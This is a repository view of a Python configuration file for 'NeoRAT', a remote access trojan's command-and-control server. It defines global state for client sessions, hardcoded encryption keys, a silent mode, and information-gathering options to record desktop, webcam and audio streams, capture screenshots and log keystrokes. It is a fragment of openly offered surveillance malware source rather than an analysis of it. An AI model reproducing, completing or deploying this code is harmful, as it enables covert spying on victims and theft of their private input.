summaryrefslogtreecommitdiff
path: root/domestic/global_state.py
blob: c9a7cc9793c7a8a17c10ee9214d8c0542a518d76 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from binary.encrypt_data import *


state = {
  'name': 'NeoRAT',
  'description': 'NeoRAT (2/3) hosts a TCP server allowing connections from clients.\n'
               + 'Supporting C&C with powerful features, including streams of audio, \n'
               + 'desktop, webcam & keylogger, while improving upon NexRAT. [USE: \'HELP\']',
  'author': 'Author\'s Repositories: https://git.alvinhavel.com',
  'settings': {
    'dynamic': {
      'is-loading': False,
      'alias-size': None,
      'alias-data': None,
      'queue': []
    },
    'debug': False,
    'safe-timeout': 60,
    'keep-alive-count': 60,
    'max-file-size': 75,
    'loading': True,
    'loading-animation': False,
    'encoding': 'latin-1',
    'headersize': 10,
    'io-channels': [None, None],
    'encryption': Encryption(
                  'ksxgyRuBRJLKxjFeHD4nmxbE',
                  b'v4CuHZFzmTedBY2EBGrLRXsm'),
    'folders': {
      'parent': 'Resources',
      'child': ('Files',
                'Scripts',
                'Haarcascades',
                'Keystroke')
    }
  },
  'session': {
    'active': False,
    'socket': None,
    'username': None,
    'data': None
  },
  'sockets': {
    'server': None,
    'clients': [[], [], []],
    'modules': {
      'stream': [None, []],
      'cam': [None, []],
      'audio': [None, []],
      'talk': [None, []]
    }
  },
  'options': {
    'mode': {
      'safe': False,
      'silent': False,
    },
    'validation': {
      'duplicates': True,
      'max-clients': 25
    },
    'information-gathering': {
      'history': True,
      'whoami': True,
      'record': {
        'stream': True,
        'cam-stream': True,
        'audio': True,
        'talk': True
      },
      'save': {
        'screenshot': True,
        'cam-screenshot': True
      },
      'backup': {
        'text': False,
        'image': False
      }
    },
    'notice': {
      'email-notice': False,
      'email-data': {
        'email': None,
        'password': None,
        'to': None
      }
    }
  }
}